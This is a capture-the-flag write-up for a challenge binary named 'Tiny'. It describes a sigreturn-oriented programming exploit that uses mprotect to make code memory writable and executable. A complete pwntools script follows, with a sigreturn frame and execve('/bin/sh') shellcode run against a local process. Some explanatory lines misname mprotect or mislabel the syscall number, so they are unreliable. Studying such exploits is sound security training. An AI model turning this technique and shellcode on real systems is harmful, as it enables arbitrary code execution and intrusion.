# Tiny The challenge is really simple: ![](https://hackmd.io/_uploads/H1WebuHR3.png) The first thing pop up in my mind is Srop (Sigreturn-oriented programming) because there's only syscall opcode and nothing else. And I'll try to go with this path. My strategy is to use vmprotect to turn a memory region into read-write-execute memory, overwrite shellcode on it and execute. Srop allowing me to set any registers into any arbitrary value, so first I'll take advatage of this to call vmprotect because we almost can't control any registers without Srop: ![](https://hackmd.io/_uploads/ByxxG_S0n.png) Specifically, I'll turn .text section into read-write-execute memory, and set rax to 0xa because this is Sigreturn singal number, I also set rsp to 0x400128 and rip to the address of syscall so that after executing Sigreturn syscall, rip will immidiately jump to the syscall address and rsp will set to that specific value to overwrite shellcode. ![](https://hackmd.io/_uploads/r1Vhz_BRn.png) All I have to do now is to write a shellcode that will execute `/bin/sh` and using execve syscall to spawn a shell. POC: ```python from pwn import * context.log_level = 'debug' context.arch='amd64' context.terminal = ['tmux', 'split', '-h'] r = process('./tiny') gdbscript = ''' bp 0x4000BE ''' # gdb.attach(r, gdbscript=gdbscript) start = 0x4000B0 syscall = 0x4000BE ret = 0x4000c0 frame = SigreturnFrame() frame.rax = 0xa # mprotect frame.rdi = 0x00000000400000 frame.rsi = 0x1000 frame.rdx = 7 frame.rsp = 0x400128 frame.rip = syscall payload = p64(start) payload += b'\x00' * 16 payload += bytes(frame) payload += b'a' * 16 r.sendline(payload) payload = p64(ret) + p64(syscall)[:-1] r.send(payload) shellcode = asm(''' mov rbx, 0x68732f6e69622f push rbx mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 59 syscall ''') payload = p64(0x00000000400138) + shellcode r.send(payload) r.interactive() ```